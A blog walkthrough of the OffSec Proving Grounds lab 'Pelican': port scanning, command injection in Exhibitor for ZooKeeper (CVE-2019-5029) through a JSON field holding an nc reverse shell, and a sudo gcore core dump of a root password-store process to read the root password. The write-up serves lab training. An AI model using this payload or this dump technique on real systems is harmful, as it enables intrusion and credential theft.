Skip to main content
  1. Posts/

OFFSEC - Proving Grounds - PELICAN

·2071 words·10 mins·
OSCP OFFSEC PG PRACTICE GCORE
 Author
Table of Contents

Summary
#

On port 8080 there is a Exhibitor for ZooKeeper which can be exploited using an existing exploit. Once on the box, the user charles has gcore sudo privileges. Using this privilege we can dump a running password-store process. The process dumpfile shows the credentials for root.

Specifications
#

  • Name: PELICAN
  • Platform: PG PRACTICE
  • Points: 20
  • Difficulty: Intermediate
  • OS: Linux pelican 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64 GNU/Linux
  • IP address: 192.168.235.98
  • OFFSEC provided credentials: Charles:SupportDucklingDivision574
  • HASH: local.txt:510d808c48488cb20c18a1009b72e38a
  • HASH: proof.txt:2042aedbc90b68b95ef76a58547d3c32

Preparation
#

First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:

## create directory structure
mkdir pelican && cd pelican && mkdir enum files exploits uploads tools

## list directory
ls -la

total 28
drwxrwxr-x 7 kali kali 4096 Jul 14 18:43 .
drwxrwxr-x 4 kali kali 4096 Jul 14 18:43 ..
drwxrwxr-x 2 kali kali 4096 Jul 14 18:43 enum
drwxrwxr-x 2 kali kali 4096 Jul 14 18:43 exploits
drwxrwxr-x 2 kali kali 4096 Jul 14 18:43 files
drwxrwxr-x 2 kali kali 4096 Jul 14 18:43 tools
drwxrwxr-x 2 kali kali 4096 Jul 14 18:43 uploads

## set bash variable
ip=192.168.235.98

## ping target to check if it's online
ping $ip
                
PING 192.168.235.98 (192.168.235.98) 56(84) bytes of data.
64 bytes from 192.168.235.98: icmp_seq=1 ttl=61 time=19.0 ms
64 bytes from 192.168.235.98: icmp_seq=2 ttl=61 time=20.3 ms
^C
--- 192.168.235.98 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 19.010/19.666/20.323/0.656 ms

Reconnaissance
#

Portscanning
#

Using the Rustscan we can see what TCP ports are open. This tool is part of my default portscan flow.

## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan

.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Scanning ports faster than you can say 'SYN ACK'

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 192.168.235.98:22
Open 192.168.235.98:139
Open 192.168.235.98:445
Open 192.168.235.98:631
Open 192.168.235.98:2181
Open 192.168.235.98:2222
Open 192.168.235.98:8080
Open 192.168.235.98:8081
Open 192.168.235.98:46295
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-14 18:45 CEST
Initiating Ping Scan at 18:45
Scanning 192.168.235.98 [4 ports]
Completed Ping Scan at 18:45, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 18:45
Completed Parallel DNS resolution of 1 host. at 18:45, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 18:45
Scanning 192.168.235.98 [9 ports]
Discovered open port 22/tcp on 192.168.235.98
Discovered open port 8080/tcp on 192.168.235.98
Discovered open port 139/tcp on 192.168.235.98
Discovered open port 445/tcp on 192.168.235.98
Discovered open port 2222/tcp on 192.168.235.98
Discovered open port 46295/tcp on 192.168.235.98
Discovered open port 8081/tcp on 192.168.235.98
Discovered open port 631/tcp on 192.168.235.98
Discovered open port 2181/tcp on 192.168.235.98
Completed SYN Stealth Scan at 18:45, 0.07s elapsed (9 total ports)
Nmap scan report for 192.168.235.98
Host is up, received echo-reply ttl 61 (0.021s latency).
Scanned at 2025-07-14 18:45:41 CEST for 0s

PORT      STATE SERVICE         REASON
22/tcp    open  ssh             syn-ack ttl 61
139/tcp   open  netbios-ssn     syn-ack ttl 61
445/tcp   open  microsoft-ds    syn-ack ttl 61
631/tcp   open  ipp             syn-ack ttl 61
2181/tcp  open  eforward        syn-ack ttl 61
2222/tcp  open  EtherNetIP-1    syn-ack ttl 61
8080/tcp  open  http-proxy      syn-ack ttl 61
8081/tcp  open  blackice-icecap syn-ack ttl 61
46295/tcp open  unknown         syn-ack ttl 61

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.29 seconds
           Raw packets sent: 13 (548B) | Rcvd: 10 (424B)

Copy the output of open ports into a file called ports within the files directory.

## edit the ``files/ports` file
nano files/ports

## content `ports` file:
22/tcp    open  ssh             syn-ack ttl 61
139/tcp   open  netbios-ssn     syn-ack ttl 61
445/tcp   open  microsoft-ds    syn-ack ttl 61
631/tcp   open  ipp             syn-ack ttl 61
2181/tcp  open  eforward        syn-ack ttl 61
2222/tcp  open  EtherNetIP-1    syn-ack ttl 61
8080/tcp  open  http-proxy      syn-ack ttl 61
8081/tcp  open  blackice-icecap syn-ack ttl 61
46295/tcp open  unknown         syn-ack ttl 61

Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:

## change directory
cd files  

## get a list, comma separated of the open port(s)
cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports

## output previous command
22,139,445,631,2181,2222,8080,8081,46295

## move one up
cd ..

## use this output in the `nmap` command below:
sudo nmap -T3 -p 22,139,445,631,2181,2222,8080,8081,46295 -sCV -vv $ip -oN enum/nmap-services-tcp

Output of NMAP:

PORT      STATE SERVICE     REASON         VERSION
22/tcp    open  ssh         syn-ack ttl 61 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 a8:e1:60:68:be:f5:8e:70:70:54:b4:27:ee:9a:7e:7f (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDssyyACw3AHaTatHhBU1VyBRbKOirrDG8M9IjpJPTf/v8mdIqiXk1HsBdoFZcsmWJVV4OXC7GMcHa+s0tZceTmgGf5TpiCB2yXUYPZre183LjJWM6KQMZVI0LHz9Yd3ji2bdD5jjtVxwnjrdx8GlU1THMGbzZivfSsPF18arMIq3ukYBS09Ov1SIKR4DJ7pjtBRutRBZKI/8/H+uB2u47AQRwbWuVaOmtZyDrfvgL/IqAFRQrbeP1VNQAErzHl8wNuk1vR+yROv0j7smTqoqqc8aB751O63gtBdCvKzpigwFDLyxYuzu8dW1Hh6ZQzaQZgWkw6SZeExAijK7yXSU61
|   256 bb:99:9a:45:3f:35:0b:b3:49:e6:cf:11:49:87:8d:94 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNUPmkVV/Q+iD07j1sFmdFWp7yppofTTgfzAhvMkyGPulIdMDbzFgW/pRAq3R3zZV7aEcWAMfFHgdXfj3W4FUuc=
|   256 f2:eb:fc:45:d7:e9:80:77:66:a3:93:53:de:00:57:9c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIPO1eLYoJ0AhVJ5NIDfaSrfUis34Bw5bKMMdFWzHPx0
139/tcp   open  netbios-ssn syn-ack ttl 61 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn syn-ack ttl 61 Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
631/tcp   open  ipp         syn-ack ttl 61 CUPS 2.2
| http-methods: 
|   Supported Methods: GET HEAD OPTIONS POST PUT
|_  Potentially risky methods: PUT
|_http-server-header: CUPS/2.2 IPP/2.1
|_http-title: Forbidden - CUPS v2.2.10
2181/tcp  open  zookeeper   syn-ack ttl 61 Zookeeper 3.4.6-1569965 (Built on 02/20/2014)
2222/tcp  open  ssh         syn-ack ttl 61 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 a8:e1:60:68:be:f5:8e:70:70:54:b4:27:ee:9a:7e:7f (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDssyyACw3AHaTatHhBU1VyBRbKOirrDG8M9IjpJPTf/v8mdIqiXk1HsBdoFZcsmWJVV4OXC7GMcHa+s0tZceTmgGf5TpiCB2yXUYPZre183LjJWM6KQMZVI0LHz9Yd3ji2bdD5jjtVxwnjrdx8GlU1THMGbzZivfSsPF18arMIq3ukYBS09Ov1SIKR4DJ7pjtBRutRBZKI/8/H+uB2u47AQRwbWuVaOmtZyDrfvgL/IqAFRQrbeP1VNQAErzHl8wNuk1vR+yROv0j7smTqoqqc8aB751O63gtBdCvKzpigwFDLyxYuzu8dW1Hh6ZQzaQZgWkw6SZeExAijK7yXSU61
|   256 bb:99:9a:45:3f:35:0b:b3:49:e6:cf:11:49:87:8d:94 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNUPmkVV/Q+iD07j1sFmdFWp7yppofTTgfzAhvMkyGPulIdMDbzFgW/pRAq3R3zZV7aEcWAMfFHgdXfj3W4FUuc=
|   256 f2:eb:fc:45:d7:e9:80:77:66:a3:93:53:de:00:57:9c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIPO1eLYoJ0AhVJ5NIDfaSrfUis34Bw5bKMMdFWzHPx0
8080/tcp  open  http        syn-ack ttl 61 Jetty 1.0
|_http-server-header: Jetty(1.0)
|_http-title: Error 404 Not Found
8081/tcp  open  http        syn-ack ttl 61 nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Did not follow redirect to http://192.168.235.98:8080/exhibitor/v1/ui/index.html
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
46295/tcp open  java-rmi    syn-ack ttl 61 Java RMI
Service Info: Host: PELICAN; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 56886/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 27977/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 40206/udp): CLEAN (Failed to receive data)
|   Check 4 (port 44978/udp): CLEAN (Failed to receive data)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 1h19m59s, deviation: 2h18m34s, median: 0s
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.9.5-Debian)
|   Computer name: pelican
|   NetBIOS computer name: PELICAN\x00
|   Domain name: \x00
|   FQDN: pelican
|_  System time: 2025-07-14T12:47:59-04:00
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2025-07-14T16:48:01
|_  start_date: N/A

Initial Access
#

8081/tcp  open  http        syn-ack ttl 61 nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Did not follow redirect to http://192.168.235.98:8080/exhibitor/v1/ui/index.html
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS

8080/tcp  open  http        syn-ack ttl 61 Jetty 1.0
|_http-server-header: Jetty(1.0)
|_http-title: Error 404 Not Found

When we visit port 8081 we get redirected to port 8080, with URL: http://192.168.235.98:8080/exhibitor/v1/ui/index.html.

Type in a searchengine the following: Exhibitor for ZooKeeper exploit -> searching the results will lead to: https://www.exploit-db.com/exploits/48654 and CVE: https://nvd.nist.gov/vuln/detail/CVE-2019-5029.

We could also have found it using searchsploit.

## search an exploit in searchsploit
searchsploit Exhibitor Web UI

---------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                    |  Path
---------------------------------------------------------------------------------- ---------------------------------
Exhibitor Web UI 1.7.1 - Remote Code Execution                                    | java/webapps/48654.txt
---------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

Because its a .txt file we can just read the exploit and see what we need exploit this version of the application. We first need to get our local IP address.

ip a

<SNIP>
4: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    link/none 
    inet 192.168.45.154/24 scope global tun0
       valid_lft forever preferred_lft forever
    inet6 fe80::4de:233f:53cf:f8f9/64 scope link stable-privacy proto kernel_ll 
       valid_lft forever preferred_lft forever

Now create a file called data.json with the following content, as described in the exploit. Replace the local IP address of your tun0 into the file and change the port if needed within this part of the code: $(/bin/nc -e /bin/sh 192.168.45.154 8080 &).

## content `data.json`
{ "zookeeperInstallDirectory": "/opt/zookeeper", "zookeeperDataDirectory": "/zookeeper/data", "zookeeperLogDirectory": "/opt/zookeeper/transactions", "logIndexDirectory": "/opt/zookeeper/transactions", "autoManageInstancesSettlingPeriodMs": "0", "autoManageInstancesFixedEnsembleSize": "0", "autoManageInstancesApplyAllAtOnce": "1", "observerThreshold": "0", "serversSpec": "1:pelican", "javaEnvironment": "$(/bin/nc -e /bin/sh 192.168.45.154 8080 &)", "log4jProperties": "", "clientPort": "2181", "connectPort": "2888", "electionPort": "3888", "checkMs": "30000", "cleanupPeriodMs": "300000", "cleanupMaxFiles": "20", "backupPeriodMs": "600000", "backupMaxStoreMs": "21600000", "autoManageInstances": "1", "zooCfgExtra": { "tickTime": "2000", "initLimit": "10", "syncLimit": "5", "quorumListenOnAllIPs": "true" }, "backupExtra": { "directory": "" }, "serverId": 2 }

We’re going to use this file in a curl POST command to the application on port 8080, but first setup a listener to receive the reverse shell and then upload the file to trigger the exploit. Run Wait for it….

## setup a listener
nc -lvnp 8080

## curl POST command:
curl -X POST -d @data.json http://192.168.235.98:8080/exhibitor/v1/config/set

Alternatively (after or before the curl) you can go to the webinterface and switch editing ON. Setup the java.env script, change to your IP address and port and press Commit and also receive a reverse shell.

Confirm the commit action and receive the revershell shell on your listener (first setup the listener).

## receiving the reverse shell
nc -lvnp 8080                        
listening on [any] 8080 ...
connect to [192.168.45.154] from (UNKNOWN) [192.168.235.98] 57102

whoami
charles

Upgrade shell using the screen command and get local.txt from the home directory of the charles user.

## determine where the script command is on the filesystem
which script

## location `script`
/usr/bin/script

## upgrade the current shell
/usr/bin/script -qc /bin/bash /dev/null

## press CTRL+Z
charles@pelican:/opt/zookeeper$ ^Z
zsh: suspended  nc -lvnp 8081
                                                                                                                    
## run stty followed by 2 enter keys
stty raw -echo ; fg ; reset

## export terminal and set wide columns and rows, now we got keys up and clear screen
charles@pelican:/opt/zookeeper$ export TERM=xterm
charles@pelican:/opt/zookeeper$ stty columns 200 rows 200

## change to the home directory
charles@pelican:/opt/zookeeper$ cd ~

charles@pelican:~$ ls -la
total 32
drwxr-xr-x 4 charles charles 4096 Jul 14 12:50 .
drwxr-xr-x 3 root    root    4096 Sep 10  2020 ..
-rw-r--r-- 1 charles charles  220 Apr 18  2019 .bash_logout
-rw-r--r-- 1 charles charles 3526 Apr 18  2019 .bashrc
drwx------ 3 charles charles 4096 Jul 14 12:50 .gnupg
drwxr-xr-x 3 charles charles 4096 Sep 10  2020 .java
-rw-r--r-- 1 charles charles   33 Jul 14 12:39 local.txt
-rw-r--r-- 1 charles charles  807 Apr 18  2019 .profile

## get `local.txt`
charles@pelican:~$ cat local.txt 
510d808c48488cb20c18a1009b72e38a

Privilege Escalation
#

When we run sudo -l we can see that the charles user can run /usr/bin/gcore with sudo.

charles@pelican:~$ sudo -l
Matching Defaults entries for charles on pelican:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User charles may run the following commands on pelican:
    (ALL) NOPASSWD: /usr/bin/gcore
    

As the charles user we can run /usr/bin/gcore to generate a core file for a running process. When we run the command with sudo we can see the command usage.

## run the gcore command with sudo
charles@pelican:/var/tmp$ sudo /usr/bin/gcore
usage:  gcore [-a] [-o filename] pid

So we need to get an idea of running processes. When we run ps with a grep for password, we can see there is a password-store running as a process with PID 490. Let’s dump this process using gcore.

## run `ps` command
charles@pelican:/var/tmp$ ps -ef --forest | grep -i password
root       490     1  0 12:36 ?        00:00:00 /usr/bin/password-store
charles  28148 18246  0 14:05 pts/0    00:00:00          \_ grep -i password

## run gcore command with sudo on PID 490 and output to a file called `outfile`
charles@pelican:/var/tmp$ sudo /usr/bin/gcore -o outfile 490
0x00007fec7ea386f4 in __GI___nanosleep (requested_time=requested_time@entry=0x7ffd84db2450, remaining=remaining@entry=0x7ffd84db2450) at ../sysdeps/unix/sysv/linux/nanosleep.c:28
28      ../sysdeps/unix/sysv/linux/nanosleep.c: No such file or directory.
Saved corefile outfile.490
[Inferior 1 (process 490) detached]

Gcore saved the corefile to a file called: outfile.490.

charles@pelican:/var/tmp$ strings outfile.490

001 Password: root:
ClogKingpinInning731

The strings command reveals a stored password for root. When tried we indeed get root:

## switch user to root and enter the password
charles@pelican:/var/tmp$ su -
Password: 

## run whoami
root@pelican:~# whoami
root

## print `proof.txt`
root@pelican:~# cat ~/proof.txt 
2042aedbc90b68b95ef76a58547d3c32

References
#

[+] https://github.com/bee-san/RustScan

Related

OFFSEC - Proving Grounds - ZINO
·2525 words·12 mins
OFFSEC PG PRACTICE NXC SMB SMBCLIENT
Access server with SMB file and use a Python exploit for PHP webshell in Booked Scheduler. Escalate to root via cronjob.